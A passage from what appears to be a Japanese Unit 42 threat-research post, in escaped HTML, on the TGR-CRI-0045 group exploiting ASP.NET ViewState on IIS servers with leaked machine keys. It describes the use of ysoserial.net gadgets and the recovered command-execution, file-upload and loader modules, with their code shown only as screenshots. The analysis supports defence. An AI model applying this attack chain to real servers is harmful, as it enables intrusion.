\u30ad\u30fc\u3092\u6301\u3064ASP.NET\u30b5\u30a4\u30c8\u3092\u5b9f\u884c\u3057\u3066\u3044\u308b\u3059\u3079\u3066\u306eIIS\u30b5\u30fc\u30d0\u30fc\u306f\u3001\u8106\u5f31\u3067\u3042\u308b\u53ef\u80fd\u6027\u304c\u9ad8\u3044\u3068\u3055\u308c\u307e\u3059\u3002\u8105\u5a01\u884c\u30a2\u30af\u30bf\u30fc\u304c\u3069\u306e\u3088\u3046\u306b\u30de\u30b7\u30f3 \u30ad\u30fc\u3092\u4fdd\u5b58\u3057\u3001\u30a2\u30af\u30bb\u30b9\u3059\u308b\u304b\u306b\u3064\u3044\u3066\u306e\u8a73\u7d30\u306a\u8aac\u660e\u306b\u3064\u3044\u3066\u306f\u3001\u3053\u3061\u3089\u306e<a href=\"https:\/\/zeroed.tech\/blog\/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited\/\" target=\"_blank\" rel=\"noopener\">Zeroed.tech\u306e\u30d6\u30ed\u30b0\u8a18\u4e8b<\/a>\u3092\u8aad\u3080\u3053\u3068\u3092\u5f37\u304f\u304a\u52e7\u3081\u3057\u307e\u3059\u3002<\/p>\n<h4><a id=\"post-147220-_heading=h.ai3i36hxzgb7\"><\/a>View State\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u306e\u751f\u6210\u3068\u5b9f\u884c<\/h4>\n<p>TGR-CRI-0045\u306f\u3001\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u306eNET\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba \u30da\u30a4\u30ed\u30fc\u30c9\u751f\u6210\u30c4\u30fc\u30eb\u3067\u3042\u308b<span style=\"font-family: 'courier new', courier, monospace;\">ysoserial.net<\/span>\u3068\u305d\u306e <a href=\"https:\/\/github.com\/pwntester\/ysoserial.net\/blob\/master\/ysoserial\/Plugins\/ViewStatePlugin.cs\" target=\"_blank\" rel=\"noopener\">View State\u30d7\u30e9\u30b0\u30a4\u30f3<\/a>\u306e\u3088\u3046\u306a\u30c4\u30fc\u30eb\u3092\u4f7f\u7528\u3057\u3066\u3001\u60aa\u610f\u306e\u3042\u308b\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba \u30da\u30a4\u30ed\u30fc\u30c9\u3092\u69cb\u7bc9\u3057\u305f\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u30da\u30a4\u30ed\u30fc\u30c9\u306e\u76ee\u7684\u306f\u4ee5\u4e0b\u306e\u901a\u308a\u3067\u3059\u3002<\/p>\n<ul>\n<li>\u4e8b\u524d\u306b\u516c\u958b\u3055\u308c\u305f\u30de\u30b7\u30f3 \u30ad\u30fc\u3092\u4f7f\u7528\u3057\u3066\u6709\u52b9\u306a\u6697\u53f7\u7f72\u540d\u3092\u4f5c\u6210\u3057\u3001\u7d44\u307f\u8fbc\u307f\u306eView State\u4fdd\u8b77\u3092\u30d0\u30a4\u30d1\u30b9\u3059\u308b\u3002(\u4fb5\u5bb3\u3055\u308c\u305f\u30b5\u30a4\u30c8\u306b\u306f\u3001\u65e2\u77e5\u306e\u62d2\u5426\u30ea\u30b9\u30c8\u306b\u5b58\u5728\u3059\u308b\u30de\u30b7\u30f3 \u30ad\u30fc\u3092\u542b\u3080<span style=\"font-family: 'courier new', courier, monospace;\">Web.config<\/span>\u30d5\u30a1\u30a4\u30eb\u304c\u5b58\u5728\u3059\u308b\u3053\u3068\u304c\u591a\u3044)<\/li>\n<li><a href=\"https:\/\/github.com\/pwntester\/ysoserial.net\/blob\/master\/ysoserial\/Generators\/XamlAssemblyLoadFromFileGenerator.cs\" target=\"_blank\" rel=\"noopener\"><span style=\"font-family: 'courier new', courier, monospace;\">XamlAssemblyLoadFromFile<\/span>\u30ac\u30b8\u30a7\u30c3\u30c8\u3092\u4f7f\u7528\u3059\u308b<\/a> (\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u30ac\u30b8\u30a7\u30c3\u30c8\u306f\u3001XAML\u30d5\u30a9\u30fc\u30de\u30c3\u30c8\u30c7\u30fc\u30bf\u306b\u4f9d\u5b58)\u3002\n<ul>\n<li>\u60aa\u610f\u306e\u3042\u308b\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u306e\u30c8\u30ea\u30ac\u30fc<\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">__VIEWSTATE<\/span>\u30d1\u30e9\u30e1\u30fc\u30bf\u306b\u542b\u307e\u308c\u308bBase64\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305fgzip\u30b9\u30c8\u30ea\u30fc\u30e0\u304b\u3089.NET\u30a2\u30bb\u30f3\u30d6\u30ea\u3092\u30e1\u30e2\u30ea\u4e0a\u306b\u30ed\u30fc\u30c9\u3057\u3066\u5b9f\u884c\u3059\u308b\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>\u30ed\u30fc\u30c9\u3055\u308c\u305f .NET\u30a2\u30bb\u30f3\u30d6\u30ea\u306f\u3001\u914d\u4fe1\u7528 HTTP\u30ea\u30af\u30a8\u30b9\u30c8\u3068\u540c\u3058\u30e9\u30a4\u30d5\u30b5\u30a4\u30af\u30eb\u3092\u6301\u3061\u307e\u3059\u3002\u653b\u6483\u8005\u306f\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u8d77\u52d5\u3057\u3001\u6a19\u7684\u3068\u306a\u3063\u305f\u30b5\u30fc\u30d0\u30fc\u306f\u305d\u308c\u3092\u51e6\u7406\u3057\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u540c\u3058\u30ea\u30af\u30a8\u30b9\u30c8\u5185\u306b\u30d0\u30f3\u30c9\u30eb\u3055\u308c\u305f\u5165\u529b\u30d1\u30e9\u30e1\u30fc\u30bf\u30fc\u3092\u4f7f\u7528\u3057\u3066\u5b9f\u884c\u3055\u308c\u3001HTTP\u30ec\u30b9\u30dd\u30f3\u30b9\u3092\u901a\u3058\u3066\u5143\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u306b\u51fa\u529b\u3092\u8fd4\u3057\u307e\u3059\u3002<\/p>\n<p>\u4e00\u5ea6\u51e6\u7406\u3055\u308c\u305f\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u518d\u5229\u7528\u3067\u304d\u307e\u305b\u3093\u3002\u3053\u306e \u300c\u5358\u767a\u300d\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u653b\u6483\u3067\u306f\u3001\u5404\u30b3\u30de\u30f3\u30c9\u306b\u5bfe\u3057\u3066\u500b\u5225\u306e\u8a66\u884c\u304c\u5fc5\u8981\u3068\u306a\u308b\u305f\u3081\u3001\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306e\u8a66\u884c\u3068\u30b3\u30de\u30f3\u30c9\u306e\u5b9f\u884c\u306e\u6bd4\u7387\u306f1:1\u3068\u306a\u308a\u307e\u3059\u3002\u4e0b\u306e\u56f31\u306f\u3053\u306e\u30d7\u30ed\u30bb\u30b9\u3092\u793a\u3057\u305f\u3082\u306e\u3067\u3059\u3002<\/p>\n<figure id=\"attachment_147288\" aria-describedby=\"caption-attachment-147288\" style=\"width: 1000px\" class=\"wp-caption alignnone\"><img  class=\"wp-image-147288 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/JP_VIEWSTATE-786x321.png\" alt=\"HTTP\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u3068\u30ec\u30b9\u30dd\u30f3\u30b9\u306e\u30d7\u30ed\u30bb\u30b9\u3092\u8868\u3057\u305f\u56f3\u3002\u8a2d\u5b9a\u3001\u30e6\u30fc\u30b6\u30fc\u3001\u30b5\u30fc\u30d0\u30fc\u3001\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u3092\u8868\u3059\u30a2\u30a4\u30b3\u30f3\u3092\u542b\u3080\u3002\u30c6\u30ad\u30b9\u30c8 \u30dc\u30c3\u30af\u30b9\u306b\u306f\u3001URL\u3084GET\u3084POST\u306a\u3069\u306eHTTP\u30e1\u30bd\u30c3\u30c9\u3001\u30ec\u30b9\u30dd\u30f3\u30b9\u306a\u3069\u306e\u30d7\u30ed\u30bb\u30b9\u306e\u8981\u7d20\u304c\u8868\u793a\u3055\u308c\u3066\u3044\u308b\u3002\" width=\"1000\" height=\"408\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/JP_VIEWSTATE-786x321.png 786w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/JP_VIEWSTATE-1715x700.png 1715w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/JP_VIEWSTATE-768x313.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/JP_VIEWSTATE-1536x627.png 1536w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/JP_VIEWSTATE.png 1789w\" sizes=\"(max-width: 1000px) 100vw, 1000px\" \/><figcaption id=\"caption-attachment-147288\" class=\"wp-caption-text\">\u56f31.\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u69cb\u7bc9\u3059\u308b\u305f\u3081\u306e\u30aa\u30da\u30ec\u30fc\u30bf\u30fc\u306e\u30a2\u30af\u30b7\u30e7\u30f3\u3068\u3001\u305d\u306e\u30ec\u30b9\u30dd\u30f3\u30b9\u304c\u3069\u306e\u3088\u3046\u306b\u9001\u308a\u8fd4\u3055\u308c\u308b\u304b\u3092\u793a\u3057\u305f\u8a55\u4fa1\u30d5\u30ed\u30fc\u3002<\/figcaption><\/figure>\n<h3><a id=\"post-147220-_heading=h.ysprvj11hkkg\"><\/a>TGR-CRI-0045 IIS \u30e2\u30b8\u30e5\u30fc\u30eb\u306e\u5fa9\u5143\u3068\u5206\u6790<\/h3>\n<p>\u4fb5\u5bb3\u3055\u308c\u305f\u74b0\u5883\u306b\u304a\u3044\u3066\u3001View State \u306e\u60aa\u7528\u306b\u6210\u529f\u3057\u305f\u5f8c\u306b\u30e1\u30e2\u30ea\u306b\u30ed\u30fc\u30c9\u3055\u308c\u305f\u4ee5\u4e0b\u306e5\u3064\u306e.NET\u30a2\u30bb\u30f3\u30d6\u30ea\u306e\u30b5\u30d6\u30bb\u30c3\u30c8\u3092\u78ba\u8a8d\u3057\u307e\u3057\u305f\u3002<\/p>\n<ul>\n<li><strong>Cmd \/c<\/strong>:\u5f0a\u793e\u3067\u306f3\u3064\u306e\u30d0\u30ea\u30a2\u30f3\u30c8\u3092\u7279\u5b9a\u3057\u3066\u3044\u307e\u3059\u3002\u305d\u308c\u305e\u308c\u7570\u306a\u308bHTTP\u30d1\u30e9\u30e1\u30fc\u30bf\u30fc\u3092\u4f7f\u7528\u3057\u3066\u3001\u30b7\u30b9\u30c6\u30e0\u306e\u30b3\u30de\u30f3\u30c9 \u30b7\u30a7\u30eb\u306b\u30b3\u30de\u30f3\u30c9\u3092\u6e21\u3059\u3082\u306e\u3067\u3001\u3053\u308c\u306b\u3088\u308a\u653b\u6483\u8005\u306f\u30b5\u30fc\u30d0\u30fc\u4e0a\u3067\u4efb\u610f\u306e\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002<\/li>\n<li><strong>\u30d5\u30a1\u30a4\u30eb\u306e\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9: <\/strong>\u30bf\u30fc\u30b2\u30c3\u30c8 \u30d5\u30a1\u30a4\u30eb\u306e\u30d1\u30b9\u3068\u3001\u30d5\u30a1\u30a4\u30eb\u306e\u5185\u5bb9\u3092\u542b\u3080\u30d0\u30a4\u30c8 \u30d0\u30c3\u30d5\u30a1\u3092\u6307\u5b9a\u3059\u308b\u3053\u3068\u3067\u3001\u653b\u6483\u8005\u306f\u30b5\u30fc\u30d0\u30fc\u306b\u30d5\u30a1\u30a4\u30eb\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u3063\u3066\u3044\u307e\u3059\u3002<\/li>\n<li><strong>Winner<\/strong>:\u3053\u308c\u306f\u304a\u305d\u3089\u304f\u60aa\u7528\u306e\u30c1\u30a7\u30c3\u30af\u3067\u3042\u308a\u3001\u653b\u6483\u8005\u306b\u52dd\u5229\u3092\u5831\u544a\u3057\u3001\u60aa\u7528\u304c\u6210\u529f\u3057\u305f\u3053\u3068\u3092\u78ba\u8a8d\u3059\u308b\u3082\u306e\u3067\u3059\u3002<\/li>\n<li><strong>\u30d5\u30a1\u30a4\u30eb\u306e\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9: <\/strong>(\u672a\u767a\u898b) \u30a4\u30f3\u30dd\u30fc\u30c8\u3055\u308c\u305f\u95a2\u6570\u304b\u3089\u3001\u3053\u306e\u30e2\u30b8\u30e5\u30fc\u30eb\u306f\u30c0\u30a6\u30f3\u30ed\u30fc\u30c0\u30fc\u3067\u3042\u308b\u3053\u3068\u304c\u5206\u304b\u308a\u3001\u5f0a\u793e\u3067\u306f\u653b\u6483\u8005\u304c\u4fb5\u5bb3\u3055\u308c\u305f\u30b5\u30fc\u30d0\u30fc\u304b\u3089\u6a5f\u5bc6\u30c7\u30fc\u30bf\u3092\u53d6\u5f97\u3059\u308b\u3053\u3068\u3092\u53ef\u80fd\u306b\u3059\u308b\u3082\u306e\u3060\u3068\u8003\u3048\u3066\u3044\u307e\u3059\u3002<\/li>\n<li><strong>\u30ea\u30d5\u30ec\u30af\u30c6\u30a3\u30d6 \u30ed\u30fc\u30c0\u30fc: <\/strong>(\u672a\u56de\u53ce) \u30a4\u30f3\u30dd\u30fc\u30c8\u3055\u308c\u305f\u95a2\u6570\u304b\u3089\u3001\u30e2\u30b8\u30e5\u30fc\u30eb\u304c\u30ea\u30d5\u30ec\u30af\u30c6\u30a3\u30d6 \u30ed\u30fc\u30c0\u30fc\u3067\u3042\u308b\u3053\u3068\u304c\u63a8\u5bdf\u3055\u308c\u307e\u3057\u305f\u3002\u3053\u308c\u306f\u653b\u6483\u8005\u304c\u30c7\u30a3\u30b9\u30af\u306b\u66f8\u304d\u8fbc\u3080\u3053\u3068\u306a\u304f\u3001\u8ffd\u52a0\u306e.NET\u30a2\u30bb\u30f3\u30d6\u30ea\u3092\u30e1\u30e2\u30ea\u4e0a\u306b\u52d5\u7684\u306b\u30ed\u30fc\u30c9\u3057\u5b9f\u884c\u3059\u308b\u969b\u306b\u4f7f\u7528\u3059\u308b\u3082\u306e\u3067\u3059\u3002<\/li>\n<\/ul>\n<p>\u56de\u53ce\u3055\u308c\u305f\u30a2\u30bb\u30f3\u30d6\u30ea\u30fc\u306f\u3001\u5171\u901a\u306e\u30c7\u30fc\u30bf\u51e6\u7406\u7279\u6027\u3092\u6301\u3064\u3053\u3068\u304c\u5206\u304b\u308a\u307e\u3057\u305f\u3002HTTP\u30d1\u30e9\u30e1\u30fc\u30bf\u306b\u57cb\u3081\u8fbc\u307e\u308c\u305f\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u89e3\u8aad\u3059\u308b\u305f\u3081\u306b\u3001\u5358\u7d14\u306a1\u6587\u5b57\u306eXOR\u30ad\u30fcx\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u3053\u3068\u304c\u78ba\u8a8d\u3067\u304d\u307e\u3057\u305f\u3002<\/p>\n<p>\u30a2\u30bb\u30f3\u30d6\u30ea\u306f\u307e\u305f\u3001<span style=\"font-family: 'courier new', courier, monospace;\">httpContext.response.Flush()<\/span> \u306e\u5f8c\u306b <span style=\"font-family: 'courier new', courier, monospace;\">httpContext.response.End()<\/span>\u3092\u547c\u3073\u51fa\u3057\u3066HTTP\u30ec\u30b9\u30dd\u30f3\u30b9\u3092\u7d42\u4e86\u3059\u308b\u3053\u3068\u304c\u5206\u304b\u308a\u307e\u3057\u305f\u3002\u3053\u306e\u305f\u3081\u3001ASP.NET\u304c\u60aa\u610f\u306e\u3042\u308b\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u6b63\u3057\u304f\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u3067\u304d\u306a\u304b\u3063\u305f\u5834\u5408\u306b\u751f\u6210\u3055\u308c\u308b\u30d5\u30a9\u30ec\u30f3\u30b8\u30c3\u30af \u30c7\u30fc\u30bf\u306e\u91cf\u304c\u6e1b\u5c11\u3057\u3001\u691c\u51fa\u3068\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8 \u30ec\u30b9\u30dd\u30f3\u30b9\u3092\u3088\u308a\u56f0\u96e3\u306b\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u30a2\u30bb\u30f3\u30d6\u30ea\u540d<span style=\"font-family: 'courier new', courier, monospace;\">E<\/span> - \u30c7\u30d5\u30a9\u30eb\u30c8<span style=\"font-family: 'courier new', courier, monospace;\"> <a href=\"https:\/\/github.com\/pwntester\/ysoserial.net\/blob\/master\/ExploitClass\/ExploitClass.cs\" target=\"_blank\" rel=\"noopener\">ysoserial.net ExploitClass<\/a><\/span>\u540d - \u6700\u3082\u983b\u7e41\u306b\u767a\u751f\u3002\u540d\u524d\u306e\u91cd\u8907\u3092\u907f\u3051\u308b\u305f\u3081\u3001\u653b\u6483\u8005\u306f\u3044\u304f\u3064\u304b\u306e\u30e2\u30b8\u30e5\u30fc\u30eb\u306e\u540d\u524d\u3092\u5909\u66f4\u3057\u3066\u3044\u307e\u3059(\u4f8b: <span style=\"font-family: 'courier new', courier, monospace;\">Dw<\/span>\u3068<span style=\"font-family: 'courier new', courier, monospace;\">d<\/span>)\u3002<\/p>\n<p>\u4ee5\u4e0b\u306e\u56f32-6\u306f\u3001C#<span style=\"font-family: 'courier new', courier, monospace;\"> .cs<\/span>\u30d5\u30a1\u30a4\u30eb\u3068\u3057\u3066\u66f8\u304b\u308c\u305f\u3068\u601d\u308f\u308c\u308b\u3001\u56de\u53ce\u3055\u308c\u305f\u30e2\u30b8\u30e5\u30fc\u30eb\u306e\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u3092\u793a\u3057\u305f\u3082\u306e\u3067\u3059\u3002\u30b3\u30f3\u30d1\u30a4\u30eb(\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u53ef\u80fd\u30b3\u30fc\u30c9\u306b\u5909\u63db\u3059\u308b\u3053\u3068)\u306f\u3001\u4f7f\u7528\u3059\u308b<span style=\"font-family: 'courier new', courier, monospace;\"><a href=\"https:\/\/ysoserial.net\">ysoserial.net<\/a> <\/span>\u30ac\u30b8\u30a7\u30c3\u30c8\u306b\u3088\u3063\u3066\u7570\u306a\u308a\u307e\u3059\u3002\u6700\u3082\u983b\u7e41\u306b\u89b3\u6e2c\u3055\u308c\u305f\u306e\u306f <span style=\"font-family: 'courier new', courier, monospace;\">XamlAssemblyLoadFromFile<\/span> \u30ac\u30b8\u30a7\u30c3\u30c8\u3067\u3042\u308a\u3001\u60aa\u7528\u4e2d\u306b\u653b\u6483\u8005\u306e\u30b7\u30b9\u30c6\u30e0\u4e0a\u3067 .NET \u30a2\u30bb\u30f3\u30d6\u30ea\u3092\u30b3\u30f3\u30d1\u30a4\u30eb\u3057\u3001\u30a4\u30f3\u30e1\u30e2\u30ea\u306e\u5b9f\u884c\u3092\u76ee\u7684\u306b\u30bf\u30fc\u30b2\u30c3\u30c8 \u30b5\u30fc\u30d0\u30fc\u306b\u9001\u4fe1\u3059\u308b\u3082\u306e\u3067\u3059\u3002<\/p>\n<p><strong>cmd\u30da\u30a4\u30ed\u30fc\u30c9<\/strong><\/p>\n<figure id=\"attachment_147232\" aria-describedby=\"caption-attachment-147232\" style=\"width: 830px\" class=\"wp-caption alignnone\"><img  class=\"wp-image-147232 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/word-image-136721-147220-2.png\" alt=\"\u30b7\u30f3\u30bf\u30c3\u30af\u30b9 \u30cf\u30a4\u30e9\u30a4\u30c8\u6a5f\u80fd\u4ed8\u304d\u30c6\u30ad\u30b9\u30c8 \u30a8\u30c7\u30a3\u30bf\u3067\u306e\u30b3\u30fc\u30c9\u30b9\u30cb\u30da\u30c3\u30c8\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u3002\u30b3\u30fc\u30c9\u306b\u306f\u3001\u4f8b\u5916\u306e\u51e6\u7406\u3001\u300ccmd.exe\u300d\u3092\u5b9f\u884c\u3059\u308b\u30d7\u30ed\u30bb\u30b9\u306e\u958b\u59cb\u3001\u6a19\u6e96\u5165\u51fa\u529b\u306e\u30ea\u30c0\u30a4\u30ec\u30af\u30c8\u3001HTTP\u30b3\u30f3\u30c6\u30ad\u30b9\u30c8\u306e\u30af\u30ea\u30a2\u304c\u542b\u307e\u308c\u3066\u3044\u308b\u3002\u30a8\u30c7\u30a3\u30bf\u30fc \u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u306f\u30c0\u30fc\u30af\u30e2\u30fc\u30c9\u3092\u4f7f\u7528\u3057\u3001\u30b3\u30fc\u30c9\u306e\u6a2a\u306b\u884c\u756a\u53f7\u304c\u898b\u3048\u308b\u3002\" width=\"830\" height=\"786\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/word-image-136721-147220-2.png 830w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/word-image-136721-147220-2-465x440.png 465w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/word-image-136721-147220-2-739x700.png 739w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/word-image-136721-147220-2-768x727.png 768w\" sizes=\"(max-width: 830px) 100vw, 830px\" \/><figcaption id=\"caption-attachment-147232\" class=\"wp-caption-text\">\u56f32.sec-fetch-mode\u30d8\u30c3\u30c0\u3092\u6301\u3064<span style=\"font-family: 'courier new', courier, monospace;\">cmd \/c<\/span> variant\u30da\u30a4\u30ed\u30fc\u30c9\u306e\u30bd\u30fc\u30b9\u3002<\/figcaption><\/figure>\n<figure id=\"attachment_147243\" aria-describedby=\"caption-attachment-147243\" style=\"width: 781px\" class=\"wp-caption alignnone\"><img  class=\"wp-image-147243 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/word-image-140893-147220-3.png\" alt=\"HTTP\u30b3\u30f3\u30c6\u30ad\u30b9\u30c8\u3068\u30b7\u30b9\u30c6\u30e0 \u30d7\u30ed\u30bb\u30b9\u306b\u95a2\u9023\u3059\u308b\u95a2\u6570\u3068\u30b3\u30de\u30f3\u30c9(\u30a8\u30e9\u30fc\u51e6\u7406\u3068\u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u5f15\u6570\u306e\u53d6\u5f97\u306b\u95a2\u3059\u308b\u53c2\u7167\u3092\u542b\u3080)\u3092\u7279\u5fb4\u3068\u3059\u308b\u3001\u30c6\u30ad\u30b9\u30c8\u30a8\u30c7\u30a3\u30bf\u3067\u306e\u30b3\u30f3\u30d4\u30e5\u30fc\u30bf\u30fc \u30b3\u30fc\u30c9\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u3002\" width=\"781\" height=\"626\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/word-image-140893-147220-3.png 781w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/word-image-140893-147220-3-549x440.png 549w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/word-image-140893-147220-3-768x616.png 768w\" sizes=\"(max-width: 781px) 100vw, 781px\" \/><figcaption id=\"caption-attachment-147243\" class=\"wp-caption-text\">\u56f33.<span style=\"font-family: 'courier new', courier, monospace;\">cmd<\/span>\u30d8\u30c3\u30c0\u30fc\u3092\u6301\u3064<span style=\"font-family: 'courier new', courier, monospace;\">cmd \/c<\/span>\u30d0\u30ea\u30a2\u30f3\u30c8\u306e\u30bd\u30fc\u30b9\u3002<\/figcaption><\/figure>\n<figure id=\"attachment_147254\" aria-describedby=\"caption-attachment-147254\" style=\"width: 830px\" class=\"wp-caption alignnone\"><img  class=\"wp-image-147254 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/word-image-144071-147220-4.png\" alt=\"\u30b7\u30f3\u30bf\u30c3\u30af\u30b9 \u30cf\u30a4\u30e9\u30a4\u30c8\u3092\u4f7f\u3063\u305f\u30b3\u30f3\u30d4\u30e5\u30fc\u30bf\u30fc \u30b3\u30fc\u30c9\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u3002\u30b3\u30fc\u30c9\u306b\u306f\u3001\u30a8\u30e9\u30fc\u51e6\u7406\u3068HTTP\u30b3\u30f3\u30c6\u30ad\u30b9\u30c8\u64cd\u4f5c\u306b\u95a2\u3059\u308b\u95a2\u6570\u3068\u30b3\u30e1\u30f3\u30c8\u304c\u542b\u307e\u308c\u3066\u3044\u308b\u3002\" width=\"830\" height=\"1089\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/word-image-144071-147220-4.png 830w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/word-image-144071-147220-4-335x440.png 335w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/word-image-144071-147220-4-534x700.png 534w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/word-image-144071-147220-4-768x1008.png 768w\" sizes=\"(max-width: 830px) 100vw, 830px\" \/><figcaption id=\"caption-attachment-147254\" class=\"wp-caption-text\">\u56f34.<span style=\"font-family: 'courier new', courier, monospace;\">cmd \/c<\/span> \u306e<span style=\"font-family: 'courier new', courier, monospace;\">__Value<\/span>\u30d1\u30e9\u30e1\u30fc\u30bf\u30681\u6587\u5b57\u306eXOR\u6697\u53f7\u5316\u3092\u6301\u3064\u30d0\u30ea\u30a2\u30f3\u30c8\u306e\u30bd\u30fc\u30b9\u3002<\/figcaption><\/figure>\n<p><strong>\u30d5\u30a1\u30a4\u30eb\u306e\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9<\/strong><\/p>\n<figure id=\"attachment_147265\" aria-describedby=\"caption-attachment-147265\" style=\"width: 800px\" class=\"wp-caption alignnone\"><img  class=\"wp-image-147265 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/word-image-148387-147220-5.png\" alt=\"\u914d\u5217\u64cd\u4f5c\u3084HTTP\u30b3\u30f3\u30c6\u30ad\u30b9\u30c8\u306e\u51e6\u7406\u306a\u3069\u3001\u3055\u307e\u3056\u307e\u306a\u6a5f\u80fd\u3092\u6301\u3064\u30b3\u30fc\u30c9\u3092\u8868\u793a\u3059\u308b\u30b3\u30f3\u30d4\u30e5\u30fc\u30bf\u306e\u30b3\u30fc\u30c9\u30a8\u30c7\u30a3\u30bf\u30fc\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u3002\u30b3\u30fc\u30c9\u306b\u306f\u30b7\u30f3\u30bf\u30c3\u30af\u30b9 \u30cf\u30a4\u30e9\u30a4\u30c8\u304c\u3042\u308a\u3001\u30c0\u30fc\u30af\u30e2\u30fc\u30c9\u3067\u8868\u793a\u3055\u308c\u3066\u3044\u308b\u3002\" width=\"800\" height=\"779\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/word-image-148387-147220-5.png 1027w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/word-image-148387-147220-5-452x440.png 452w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/word-image-148387-147220-5-719x700.png 719w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/word-image-148387-147220-5-768x748.png 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><figcaption id=\"caption-attachment-147265\" class=\"wp-caption-text\">\u56f35.\u305d\u308c\u305e\u308c <span style=\"font-family: 'courier new', courier, monospace;\">__Fvalue<\/span> \u3068 <span style=\"font-family: 'courier new', courier, monospace;\">__Bvalue<\/span> \u30d1\u30e9\u30e1\u30fc\u30bf\u3067\u30d1\u30b9\u3068\u30d5\u30a1\u30a4\u30eb\u306e\u5185\u5bb9\u3092\u53d7\u3051\u53d6\u308b\u30d5\u30a1\u30a4\u30eb\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u30a2\u30bb\u30f3\u30d6\u30ea\u306e\u30bd\u30fc\u30b9\u3002<\/figcaption><\/figure>\n<p><strong>\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8 \u30c1\u30a7\u30c3\u30ab\u30fc<\/strong><\/p>\n<figure id=\"attachment_147276\" aria-describedby=\"caption-attachment-147276\" style=\"width: 826px\" class=\"wp-caption alignnone\"><img  class=\"wp-image-147276 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/word-image-152555-147220-6.png\" alt=\"\u30b7\u30f3\u30bf\u30c3\u30af\u30b9 